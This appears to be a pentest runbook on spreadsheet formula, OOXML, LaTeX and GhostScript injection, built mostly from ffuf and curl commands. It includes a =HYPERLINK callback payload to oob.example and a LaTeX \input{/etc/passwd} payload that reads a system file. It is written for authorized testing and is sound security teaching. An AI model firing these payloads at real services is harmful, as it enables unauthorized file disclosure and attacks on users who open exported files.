Webupdated Oct 1, 2026

Formula / CSV / Doc / LaTeX / GhostScript Injection

Spreadsheet formula injection, XLSX external references, and command execution via LaTeX, GhostScript, and OOXML document handling.

toolbox:burp suitelibreoffice

A document/spreadsheet injection runbook for authorized pentests / bug bounty on in-scope targets only. Goal: find export and conversion features that silently execute formulas or commands, and prove it with an inert callback.

1. Find export and conversion features

# Endpoints that emit CSV/XLSX/PDF/DOC
ffuf -u "https://target.com/FUZZ" \
  -w /usr/share/seclists/Discovery/Web-Content/common.txt \
  -mc 200 -t 30 | grep -iE "export|report|download|csv|xlsx|pdf|convert"

2. Test CSV / spreadsheet formula injection

Input that starts with =, +, -, or @ is treated as a formula by Excel/LibreOffice.

# Store a formula in a field, then request the export
curl -s -b "session=YOURTOKEN" -X POST "https://target.com/profile" \
  --data-urlencode "name==2+5"

curl -s -b "session=YOURTOKEN" "https://target.com/export.csv" -o out.csv
grep -n "=2+5" out.csv

# Callback formula (Excel: WEBSERVICE / HYPERLINK; DDE variants)
curl -s -b "session=YOURTOKEN" -X POST "https://target.com/profile" \
  --data-urlencode 'name==HYPERLINK("https://oob.example/cb","click")'
curl -s -b "session=YOURTOKEN" "https://target.com/export.csv" | grep -i oob.example

3. Inspect the generated file

# Check for injection characters that survived sanitization
grep -nE "^[=+\-@]" out.csv

# Detect the real format and content-type
file out.csv
curl -s -D - -o /dev/null "https://target.com/export.xlsx" | grep -i "content-type\|content-disposition"

# Unzip the OOXML and inspect shared strings / relationships for external refs
mkdir -p xlsx && unzip -o export.xlsx -d xlsx && ls xlsx/xl
grep -rioE "https?://[^\"<]+" xlsx/xl 2>/dev/null | head

4. External references and XML injection in XLSX

# After unzipping, check relationships for external targets
cat xlsx/xl/_rels/workbook.xml.rels 2>/dev/null | grep -i external
grep -rioE "DDE|WEBSERVICE|EXEC" xlsx/xl 2>/dev/null

5. LaTeX / GhostScript conversion

If a PDF or report service compiles LaTeX or shells out to GhostScript, test for command primitives.

# LaTeX: try to escape a text field into a command
curl -s -b "session=YOURTOKEN" -X POST "https://target.com/report" \
  --data-urlencode 'title=\input{/etc/passwd}'
curl -s -b "session=YOURTOKEN" "https://target.com/report.pdf" -o report.pdf
python3 -c "import sys; print(open('report.pdf','rb').read()[:50])"

# GhostScript: crafted PostScript for a callback (authorized only)
# Confirm the service version first
curl -s "https://target.com/tools/version" | grep -i ghostscript

6. Verify sanitization gaps with LibreOffice

# Reproduce the export locally and see whether the formula survives
libreoffice --headless --convert-to csv out.xlsx --outdir check
grep -nE "^[=+\-@]" check/out.csv

# Test matrix of payload prefixes
for p in '=' '+' '-' '@' ' =' $'\t='; do
  echo "payload: $p"
done

Full pipeline

# 1. Find export endpoints
ffuf -u "https://target.com/FUZZ" -w /usr/share/seclists/Discovery/Web-Content/common.txt -mc 200 -t 30 | grep -iE "export|report|download|convert"

# 2. Store a formula and export
curl -s -b "session=YOURTOKEN" -X POST "https://target.com/profile" --data-urlencode "name==2+5"
curl -s -b "session=YOURTOKEN" "https://target.com/export.csv" -o out.csv
grep -nE "^[=+\-@]" out.csv

# 3. Callback formula
curl -s -b "session=YOURTOKEN" -X POST "https://target.com/profile" --data-urlencode 'name==HYPERLINK("https://oob.example/cb","click")'
curl -s -b "session=YOURTOKEN" "https://target.com/export.csv" | grep -i oob.example

# 4. OOXML external reference inspection
mkdir -p xlsx && unzip -o export.xlsx -d xlsx && grep -rioE "https?://[^\"<]+" xlsx/xl | head

# 5. Conversion injection
curl -s -b "session=YOURTOKEN" -X POST "https://target.com/report" --data-urlencode 'title=\input{/etc/passwd}'

# 6. Local sanitization check
libreoffice --headless --convert-to csv out.xlsx --outdir check && grep -nE "^[=+\-@]" check/out.csv

Ethics & legality

  • Only test export/conversion features within the authorized scope and with your own account.
  • Use inert markers (2+5, a callback URL) — never DDE/command payloads that alter the host.
  • Do not send generated documents to third parties; inspect them locally.
  • Keep the input payload, generated file, and formula evidence for the report.